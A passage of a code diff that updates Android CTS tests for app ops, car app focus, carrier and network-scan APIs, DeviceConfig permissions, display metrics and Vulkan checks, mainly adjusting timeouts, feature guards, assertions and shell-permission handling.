val chunkCount = (INTERVAL_COMPRESSION_MULTIPLIER * 2) + 3
for (i in 0 until chunkCount) {
- appOpsManager.addHistoricalOps(chunk)
+ addHistoricalOps(chunk)
}
// Validate the data for the first interval
@@ -134,14 +134,16 @@
assertHasCounts(secondOps!!, 33)
// Validate the data for all intervals
- val everythingIntervalBeginMillis = Instant.EPOCH.toEpochMilli();
- val everythingIntervalEndMillis = Long.MAX_VALUE;
+ val everythingIntervalBeginMillis = Instant.EPOCH.toEpochMilli()
+ val everythingIntervalEndMillis = Long.MAX_VALUE
var allOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
everythingIntervalBeginMillis, everythingIntervalEndMillis)
assertHasCounts(allOps!!, 230)
// Now reboot the history
- appOpsManager.rebootHistory(firstIntervalEndMillis);
+ runWithShellPermissionIdentity {
+ appOpsManager.rebootHistory(firstIntervalEndMillis)
+ }
// Validate the data for the first interval
firstOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
@@ -160,7 +162,7 @@
// Write some more ops to the first interval
for (i in 0 until chunkCount) {
- appOpsManager.addHistoricalOps(chunk)
+ addHistoricalOps(chunk)
}
// Validate the data for the first interval
@@ -298,23 +300,26 @@
null)
appOpsManager.noteOp(OPSTR_REQUEST_DELETE_PACKAGES, uid, packageName, "secondAttribution",
null)
+ var memOps: AppOpsManager.HistoricalOps? = null
+ eventually(SNAPSHOT_INTERVAL_MILLIS / 2) {
+ memOps = getHistoricalOps(appOpsManager, uid = uid)!!
- val memOps = getHistoricalOps(appOpsManager, uid = uid)!!
-
- assertThat(memOps.getUidOpsAt(0).getPackageOpsAt(0).getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!
- .getForegroundAccessCount(OP_FLAGS_ALL)).isEqualTo(2)
- assertThat(memOps.getUidOpsAt(0).getPackageOpsAt(0).getAttributedOps("firstAttribution")!!
- .getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!.getForegroundAccessCount(OP_FLAGS_ALL))
- .isEqualTo(1)
- assertThat(memOps.getUidOpsAt(0).getPackageOpsAt(0).getAttributedOps("secondAttribution")!!
- .getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!.getForegroundAccessCount(OP_FLAGS_ALL))
- .isEqualTo(1)
+ assertThat(memOps!!.getUidOpsAt(0).getPackageOpsAt(0)
+ .getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!.getForegroundAccessCount(OP_FLAGS_ALL))
+ .isEqualTo(2)
+ assertThat(memOps!!.getUidOpsAt(0).getPackageOpsAt(0)
+ .getAttributedOps("firstAttribution")!!.getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!
+ .getForegroundAccessCount(OP_FLAGS_ALL)).isEqualTo(1)
+ assertThat(memOps!!.getUidOpsAt(0).getPackageOpsAt(0)
+ .getAttributedOps("secondAttribution")!!.getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!
+ .getForegroundAccessCount(OP_FLAGS_ALL)).isEqualTo(1)
+ }
// Wait until data is on disk and verify no entry got lost
Thread.sleep(SNAPSHOT_INTERVAL_MILLIS)
val diskOps = getHistoricalOps(appOpsManager, uid = uid)!!
- assertThat(diskOps.getUidOpsAt(0)).isEqualTo(memOps.getUidOpsAt(0))
+ assertThat(diskOps.getUidOpsAt(0)).isEqualTo(memOps?.getUidOpsAt(0))
}
private fun testHistoricalAggregationSomeLevelsDeep(depth: Int) {
@@ -542,7 +547,7 @@
if (count <= 0) {
assertThat(ops.uidCount).isEqualTo(0)
- return;
+ return
}
assertThat(ops.uidCount).isEqualTo(1)
diff --git a/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
index 1d14a77..9f785b8 100644
--- a/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
@@ -29,7 +29,6 @@
private const val APK_PATH = "/data/local/tmp/cts/appops/"
private const val APP_PKG = "android.app.appops.cts.apptocollect"
-private const val MESSAGE = "Stack trace message"
@AppModeFull(reason = "Test relies on seeing other apps. Instant apps can't see other apps")
class RuntimeMessageCollectionTest {
@@ -58,7 +57,7 @@
val start = System.currentTimeMillis()
runWithShellPermissionIdentity {
appOpsManager.noteOp(AppOpsManager.OPSTR_READ_CONTACTS, appUid, APP_PKG,
- TEST_ATTRIBUTION_TAG, MESSAGE)
+ TEST_ATTRIBUTION_TAG, null)
}
while (System.currentTimeMillis() - start < TIMEOUT_MILLIS) {
sleep(200)
@@ -71,7 +70,7 @@
assertThat(message.op).isEqualTo(AppOpsManager.OPSTR_READ_CONTACTS)
assertThat(message.uid).isEqualTo(appUid)
assertThat(message.attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
- assertThat(message.message).isEqualTo(MESSAGE)
+ assertThat(message.message).isNotNull()
return
}
}
diff --git a/tests/tests/batterysaving/AndroidTest.xml b/tests/tests/batterysaving/AndroidTest.xml
index a1d5808..5f32612 100644
--- a/tests/tests/batterysaving/AndroidTest.xml
+++ b/tests/tests/batterysaving/AndroidTest.xml
@@ -23,6 +23,8 @@
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<!-- Disable keyguard -->
+ <!-- Though keyguard is disabled globally in cts-preconditions.xml, the
+ following line should be kept to make atest behave correctly. -->
<option name="run-command" value="locksettings set-disabled true" />
</target_preparer>
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index be2c57b..9383460 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -47,6 +47,9 @@
@RunWith(AndroidJUnit4.class)
public class CarAppFocusManagerTest extends CarApiTestBase {
private static final String TAG = CarAppFocusManagerTest.class.getSimpleName();
+
+ private static final long NO_EVENT_WAIT_TIME_MS = 50;
+
private final Context mContext =
InstrumentationRegistry.getInstrumentation().getTargetContext();
private CarAppFocusManager mManager;
@@ -60,7 +63,7 @@
// Request all application focuses and abandon them to ensure no active context is present
// when test starts.
int[] activeTypes = mManager.getActiveAppTypes();
- FocusOwnershipCallback owner = new FocusOwnershipCallback();
+ FocusOwnershipCallback owner = new FocusOwnershipCallback(/* assertEventThread= */ false);
for (int i = 0; i < activeTypes.length; i++) {
mManager.requestAppFocus(activeTypes[i], owner);
owner.waitForOwnershipGrantAndAssert(DEFAULT_WAIT_TIMEOUT_MS, activeTypes[i]);
@@ -150,6 +153,7 @@
Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
assertTrue(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
assertFalse(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+ // should update as it became active
assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
@@ -163,34 +167,38 @@
Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
- // this should be no-op
change.reset();
change2.reset();
assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner));
assertTrue(owner.waitForOwnershipGrantAndAssert(
DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
-
Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
- assertFalse(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+ // The same owner requesting again triggers update
+ assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
- assertFalse(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+ assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+ change.reset();
+ change2.reset();
assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
manager2.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner2));
assertTrue(owner2.waitForOwnershipGrantAndAssert(
DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
-
assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
assertTrue(owner.waitForOwnershipLossAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+ // ownership change should send update
+ assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+ CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+ assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+ CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
- // no-op as it is not owning it
change.reset();
change2.reset();
mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -198,15 +206,19 @@
assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+ // abandoning from non-owner should not trigger update
+ assertFalse(change2.waitForFocusChangedAndAssert(NO_EVENT_WAIT_TIME_MS,
+ CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+ assertFalse(change.waitForFocusChangedAndAssert(NO_EVENT_WAIT_TIME_MS,
+ CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
- change.reset();
- change2.reset();
assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
expectedFocuses = new int[] {CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION};
Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+ manager2.removeFocusListener(change2);
change.reset();
change2.reset();
manager2.abandonAppFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -215,10 +227,14 @@
expectedFocuses = emptyFocus;
Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+ // abandoning from owner should trigger update
assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
+ // removed focus listener should not get events
+ assertFalse(change2.waitForFocusChangedAndAssert(NO_EVENT_WAIT_TIME_MS,
+ CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
mManager.removeFocusListener(change);
- manager2.removeFocusListener(change2);
+
}
@Test
@@ -304,6 +320,7 @@
public void reset() {
mLastChangeAppType = 0;
mLastChangeAppActive = false;
+ mChangeWait.drainPermits();
}
@Override
@@ -320,6 +337,15 @@
implements CarAppFocusManager.OnAppFocusOwnershipCallback {
private volatile int mLastLossEvent;
private final Semaphore mLossEventWait = new Semaphore(0);
+ private final boolean mAssertEventThread;
+
+ private FocusOwnershipCallback(boolean assertEventThread) {
+ mAssertEventThread = assertEventThread;
+ }
+
+ private FocusOwnershipCallback() {
+ this(true);
+ }
private volatile int mLastGrantEvent;
private final Semaphore mGrantEventWait = new Semaphore(0);
@@ -345,7 +371,9 @@
@Override
public void onAppFocusOwnershipLost(int appType) {
Log.i(TAG, "onAppFocusOwnershipLoss " + appType);
- assertMainThread();
+ if (mAssertEventThread) {
+ assertMainThread();
+ }
mLastLossEvent = appType;
mLossEventWait.release();
}
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index 3db003c..f678d72 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -254,8 +254,9 @@
assertEquals(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_SUCCESS, value);
}
- private static void assertUpdateAvailableNetworkInvalidArguments(int value) {
- assertEquals(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS, value);
+ private static void assertUpdateAvailableNetworkNoOpportunisticSubAvailable(int value) {
+ assertEquals(
+ TelephonyManager.UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE, value);
}
private static void assertSetOpportunisticSubSuccess(int value) {
@@ -309,8 +310,8 @@
List<AvailableNetworkInfo> availableNetworkInfos = new ArrayList<AvailableNetworkInfo>();
Consumer<Integer> callbackSuccess =
CarrierApiTest::assertUpdateAvailableNetworkSuccess;
- Consumer<Integer> callbackFailure =
- CarrierApiTest::assertUpdateAvailableNetworkInvalidArguments;
+ Consumer<Integer> callbackNoOpportunisticSubAvailable =
+ CarrierApiTest::assertUpdateAvailableNetworkNoOpportunisticSubAvailable;
Consumer<Integer> setOpCallbackSuccess = CarrierApiTest::assertSetOpportunisticSubSuccess;
if (subscriptionInfoList == null || subscriptionInfoList.size() == 0
|| !mSubscriptionManager.isActiveSubscriptionId(
@@ -321,15 +322,16 @@
bands);
availableNetworkInfos.add(availableNetworkInfo);
// Call updateAvailableNetworks without opportunistic subscription.
- // callbackFailure is expected to be triggered and the return value will be checked
- // against UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS
+ // callbackNoOpportunisticSubAvailable is expected to be triggered
+ // and the return value will be checked against
+ // UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE
mTelephonyManager.updateAvailableNetworks(availableNetworkInfos,
- AsyncTask.SERIAL_EXECUTOR, callbackFailure);
+ AsyncTask.SERIAL_EXECUTOR, callbackNoOpportunisticSubAvailable);
} finally {
// clear all the operations at the end of test.
availableNetworkInfos.clear();
mTelephonyManager.updateAvailableNetworks(availableNetworkInfos,
- AsyncTask.SERIAL_EXECUTOR, callbackFailure);
+ AsyncTask.SERIAL_EXECUTOR, callbackNoOpportunisticSubAvailable);
}
} else {
// This is case of DSDS phone, one active opportunistic subscription and one
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 8c70904..0fa6c9e 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -83,7 +83,10 @@
private NetworkScanRequest mNetworkScanRequest;
private NetworkScanCallbackImpl mNetworkScanCallback;
private static final int MAX_CELLINFO_WAIT_MILLIS = 5000; // 5 seconds
- private static final int MAX_INIT_WAIT_MS = 60000; // 60 seconds
+ private static final int SCAN_SEARCH_TIME_SECONDS = 60;
+ // Wait one second longer than the max scan search time to give the test time to receive the
+ // results.
+ private static final int MAX_INIT_WAIT_MS = (SCAN_SEARCH_TIME_SECONDS + 1) * 1000;
private Object mLock = new Object();
private boolean mReady;
private int mErrorCode;
@@ -404,7 +407,7 @@
NetworkScanRequest.SCAN_TYPE_ONE_SHOT /* scan type */,
radioAccessSpecifier.toArray(radioAccessSpecifierArray),
5 /* search periodicity */,
- 60 /* max search time */,
+ SCAN_SEARCH_TIME_SECONDS /* max search time */,
true /*enable incremental results*/,
5 /* incremental results periodicity */,
null /* List of PLMN ids (MCC-MNC) */);
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifest.xml b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
index f7c6c23..f195701 100644
--- a/tests/tests/content/HelloWorldApp/AndroidManifest.xml
+++ b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
@@ -4,6 +4,7 @@
<application
android:allowBackup="true"
+ android:debuggable="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
diff --git a/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java b/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java
index 2f1dfc7..e2712e6 100644
--- a/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java
+++ b/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java
@@ -59,7 +59,7 @@
private static void setSecureFrp(boolean secureFrp) throws Exception {
adoptShellPermissions();
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
- "settings put secure secure_frp_mode " + (secureFrp ? "1" : "0"));
+ "settings put --user 0 secure secure_frp_mode " + (secureFrp ? "1" : "0"));
dropShellPermissions();
}
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 29a860e..47ccab4 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -445,7 +445,10 @@
}
public void testInteractAcrossProfilesSettings() {
- assertCanBeHandled(new Intent(Settings.ACTION_MANAGE_CROSS_PROFILE_ACCESS));
+ PackageManager packageManager = mContext.getPackageManager();
+ if (packageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_PROFILES)) {
+ assertCanBeHandled(new Intent(Settings.ACTION_MANAGE_CROSS_PROFILE_ACCESS));
+ }
}
public void testChangeDefaultSmsApplication() {
@@ -496,6 +499,12 @@
@CddTest(requirement = "7.4.2.6/C-1-1")
public void testEasyConnectIntent() {
+ // Android only supports Initiator-... modes right now, which require the device to
+ // have a QR-code capture mechanism. Therefore this feature does not make sense on
+ // non-handheld devices.
+ if (!isHandheld()) {
+ return;
+ }
WifiManager manager = mContext.getSystemService(WifiManager.class);
if (manager.isEasyConnectSupported()) {
@@ -529,6 +538,11 @@
}
public void testVoiceInputSettingsIntent() {
+ // Non-handheld devices do not allow more than one VoiceInteractionService, and therefore do
+ // not have to support this Intent.
+ if (!isHandheld()) {
+ return;
+ }
Intent intent = new Intent(Settings.ACTION_VOICE_INPUT_SETTINGS);
assertCanBeHandled(intent);
}
diff --git a/tests/tests/content/src/android/content/pm/cts/FeatureTest.java b/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
index 99d7268..beab1c4 100644
--- a/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
@@ -76,6 +76,11 @@
return;
}
+ // Skip the tests for low-RAM devices
+ if (mActivityManager.isLowRamDevice()) {
+ return;
+ }
+
fail("Device should support managed profiles, but "
+ PackageManager.FEATURE_MANAGED_USERS + " is not enabled");
}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index ba6a589..75f7cc4 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -268,8 +268,11 @@
});
readFromProcess.start();
- installPackage(TEST_APK);
- assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ for (int i = 0; i < 3; ++i) {
+ installPackage(TEST_APK);
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ uninstallPackageSilently(TEST_APP_PACKAGE);
+ }
readFromProcess.join();
assertNotEquals(0, result.size());
diff --git a/tests/tests/deviceconfig/AndroidManifest.xml b/tests/tests/deviceconfig/AndroidManifest.xml
index ee3a34c..eafb00a 100755
--- a/tests/tests/deviceconfig/AndroidManifest.xml
+++ b/tests/tests/deviceconfig/AndroidManifest.xml
@@ -22,6 +22,12 @@
<uses-library android:name="android.test.runner" />
</application>
+ <!--
+ - Must set INTERACT_ACROSS_USERS because DeviceConfig always run as user 0, and the CTS tests
+ - might be running as a secondary user
+ -->
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.deviceconfig.cts"
android:label="CTS tests for DeviceConfig API">
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index 15fb469..6d77ebb 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -189,8 +189,8 @@
violations.append("DeviceConfig.setProperties() for public namespaces must not be "
+ " accessible without WRITE_DEVICE_CONFIG permission\n");
} catch (DeviceConfig.BadConfigException e) {
- violations.append("DeviceConfig.setProperties() should not throw BadConfigException "
- + "without a known bad configuration.");
+ addExceptionToViolations(violations, "DeviceConfig.setProperties() should not throw "
+ + "BadConfigException without a known bad configuration", e);
} catch (SecurityException e) {
}
@@ -200,8 +200,8 @@
try {
DeviceConfig.setProperty(PUBLIC_NAMESPACE, KEY, VALUE, /*makeDefault=*/ false);
} catch (SecurityException e) {
- violations.append("DeviceConfig.setProperty() must be accessible with"
- + " WRITE_DEVICE_CONFIG permission\n");
+ addExceptionToViolations(violations, "DeviceConfig.setProperty() must be accessible "
+ + "with WRITE_DEVICE_CONFIG permission", e);
}
try {
@@ -209,11 +209,11 @@
new Properties.Builder(PUBLIC_NAMESPACE).setString(KEY, VALUE).build();
DeviceConfig.setProperties(properties);
} catch (DeviceConfig.BadConfigException e) {
- violations.append("DeviceConfig.setProperties() should not throw BadConfigException"
- + " without a known bad configuration.");
+ addExceptionToViolations(violations, "DeviceConfig.setProperties() should not throw "
+ + "BadConfigException without a known bad configuration", e);
} catch (SecurityException e) {
- violations.append("DeviceConfig.setProperties() must be accessible with"
- + " WRITE_DEVICE_CONFIG permission.\n");
+ addExceptionToViolations(violations, "DeviceConfig.setProperties() must be accessible "
+ + "with WRITE_DEVICE_CONFIG permission", e);
}
try {
@@ -221,8 +221,8 @@
assertEquals("Value read from DeviceConfig API public namespace does not match written"
+ " value.", VALUE, property);
} catch (SecurityException e) {
- violations.append("DeviceConfig.getProperty() for public namespaces must be accessible "
- + "without READ_DEVICE_CONFIG permission\n");
+ addExceptionToViolations(violations, "DeviceConfig.getProperty() for public namespaces "
+ + "must be accessible without READ_DEVICE_CONFIG permission", e);
}
try {
@@ -230,16 +230,17 @@
assertEquals("Value read from DeviceConfig API public namespace does not match written"
+ " value.", VALUE, properties.getString(KEY, "default_value"));
} catch (SecurityException e) {
- violations.append("DeviceConfig.getProperties() for public namespaces must be "
- + "accessible without READ_DEVICE_CONFIG permission\n");
+ addExceptionToViolations(violations, "DeviceConfig.getProperties() for public "
+ + "namespaces must be accessible without READ_DEVICE_CONFIG permission", e);
}
try {
DeviceConfig.addOnPropertiesChangedListener(
PUBLIC_NAMESPACE, EXECUTOR, new TestOnPropertiesListener());
} catch (SecurityException e) {
- violations.append("DeviceConfig.addOnPropertiesChangeListener() for public namespaces "
- + "must be accessible without READ_DEVICE_CONFIG permission\n");
+ addExceptionToViolations(violations, "DeviceConfig.addOnPropertiesChangeListener() for "
+ + "public namespaces must be accessible without READ_DEVICE_CONFIG permission",
+ e);
}
// Bail if we found any violations
@@ -271,8 +272,8 @@
violations.append("DeviceConfig.setProperties() must not be accessible without "
+ "WRITE_DEVICE_CONFIG permission.\n");
} catch (DeviceConfig.BadConfigException e) {
- violations.append("DeviceConfig.setProperties() should not throw BadConfigException "
- + "without a known bad configuration.");
+ addExceptionToViolations(violations, "DeviceConfig.setProperties() should not throw "
+ + "BadConfigException without a known bad configuration.", e);
} catch (SecurityException e) {
}
}
@@ -309,8 +310,8 @@
try {
DeviceConfig.setProperty(NAMESPACE, KEY, VALUE, /*makeDefault=*/ false);
} catch (SecurityException e) {
- violations.append("DeviceConfig.setProperty() must be accessible with"
- + " WRITE_DEVICE_CONFIG permission\n");
+ addExceptionToViolations(violations, "DeviceConfig.setProperty() must be accessible "
+ + "with WRITE_DEVICE_CONFIG permission", e);
}
}
@@ -323,8 +324,8 @@
violations.append("DeviceConfig.setProperties() should not throw BadConfigException"
+ " without a known bad configuration.");
} catch (SecurityException e) {
- violations.append("DeviceConfig.setProperties() must be accessible with"
- + " WRITE_DEVICE_CONFIG permission.\n");
+ addExceptionToViolations(violations, "DeviceConfig.setProperties() must be accessible "
+ + "with WRITE DEVICE_CONFIG permission", e);
}
}
@@ -333,8 +334,8 @@
try {
property = DeviceConfig.getProperty(NAMESPACE, KEY);
} catch (SecurityException e) {
- violations.append("DeviceConfig.getProperty() must be accessible with"
- + " READ_DEVICE_CONFIG permission\n");
+ addExceptionToViolations(violations, "DeviceConfig.getProperty() must be accessible "
+ + "with READ_DEVICE_CONFIG permission", e);
}
return property;
}
@@ -344,8 +345,8 @@
try {
properties = DeviceConfig.getProperties(NAMESPACE2);
} catch (SecurityException e) {
- violations.append("DeviceConfig.getProperties() must be accessible with"
- + " READ_DEVICE_CONFIG permission\n");
+ addExceptionToViolations(violations, "DeviceConfig.getProperties() must be accessible "
+ + "with READ_DEVICE_CONFIG permission", e);
}
return properties;
}
@@ -355,8 +356,13 @@
DeviceConfig.addOnPropertiesChangedListener(
NAMESPACE, EXECUTOR, new TestOnPropertiesListener());
} catch (SecurityException e) {
- violations.append("DeviceConfig.addOnPropertiesChangeListener() must be accessible with"
- + " READ_DEVICE_CONFIG permission\n");
+ addExceptionToViolations(violations, "DeviceConfig.addOnPropertiesChangeListener() must"
+ + " be accessible with READ_DEVICE_CONFIG permission", e);
}
}
+
+ private static void addExceptionToViolations(StringBuilder violations, String message,
+ Exception e) {
+ violations.append(message).append(": ").append(e).append("\n");
+ }
}
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index aeb5ce0..94295e2 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -297,14 +297,12 @@
assertEquals((float)SECONDARY_DISPLAY_DPI, outMetrics.ydpi, 0.0001f);
}
- /**
- * Test that the getFlags method returns no flag bits set for the overlay display.
- */
+ /** Test that the getFlags method returns expected flag bits set for the overlay display. */
@Test
public void testFlags() {
Display display = getSecondaryDisplay(mDisplayManager.getDisplays());
- assertEquals(Display.FLAG_PRESENTATION, display.getFlags());
+ assertEquals(Display.FLAG_PRESENTATION | Display.FLAG_TRUSTED, display.getFlags());
}
/**
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 7e29288..2333601 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -44,7 +44,7 @@
(WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
Display display = windowManager.getDefaultDisplay();
mMetrics = new DisplayMetrics();
- display.getMetrics(mMetrics);
+ display.getRealMetrics(mMetrics);
}
@Presubmit
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index 5ad060a..dee467e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -48,7 +48,7 @@
}
private static String TAG = "FrameRateCtsActivity";
- private static final long FRAME_RATE_SWITCH_GRACE_PERIOD_SECONDS = 1;
+ private static final long FRAME_RATE_SWITCH_GRACE_PERIOD_SECONDS = 2;
private static final long STABLE_FRAME_RATE_WAIT_SECONDS = 1;
private static final long POST_BUFFER_INTERVAL_MILLIS = 500;
private static final int PRECONDITION_WAIT_MAX_ATTEMPTS = 5;
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
index a736878..a11406c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
@@ -71,7 +71,8 @@
@CddTest(requirement = "7.1.4.2/C-1-8,C-1-9")
@Test
public void testVulkanDeqpLevel() {
- if (mVulkanHardwareVersion.version >= VULKAN_1_0) {
+ if (mVulkanHardwareVersion != null
+ && mVulkanHardwareVersion.version >= VULKAN_1_0) {
if (DEBUG) {
